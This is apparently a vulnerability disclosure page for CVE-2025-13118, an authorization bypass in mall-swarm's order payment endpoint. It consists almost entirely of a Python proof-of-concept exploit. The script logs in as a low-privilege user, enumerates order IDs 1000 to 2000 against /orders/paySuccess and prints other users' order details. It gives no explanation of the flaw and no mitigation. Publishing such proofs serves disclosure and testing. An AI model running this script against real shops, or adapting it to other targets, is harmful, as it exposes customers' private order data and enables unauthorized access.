CVE-2025-13118: mall-swarm订单支付接口orderID参数权限绕过漏洞

import requests # CVE-2025-13118 PoC - mall-swarm orderID Authorization Bypass # Target: macrozheng mall-swarm / mall <= 1.0.3 TARGET_URL = "http://target-host.com" LOGIN_URL = f"{TARGET_URL}/auth/login" PAY_SUCCESS_URL = f"{TARGET_URL}/orders/paySuccess" def exploit(): """ Step 1: Authenticate with low-privilege account """ session = requests.Session() login_data = { 'username': '[email protected]', 'password': 'password123' } session.post(LOGIN_URL, json=login_data) """ Step 2: Enumerate orderID to access other users' orders Target orderID range: 1000-2000 (example) """ for order_id in range(1000, 2001): params = {'orderID': str(order_id)} response = session.get(PAY_SUCCESS_URL, params=params) # Check if unauthorized access successful if response.status_code == 200 and 'order details' in response.text: print(f"[!] Unauthorized access to order {order_id}") print(f"Response preview: {response.text[:500]}") print("[*] Exploitation complete") if __name__ == "__main__": exploit()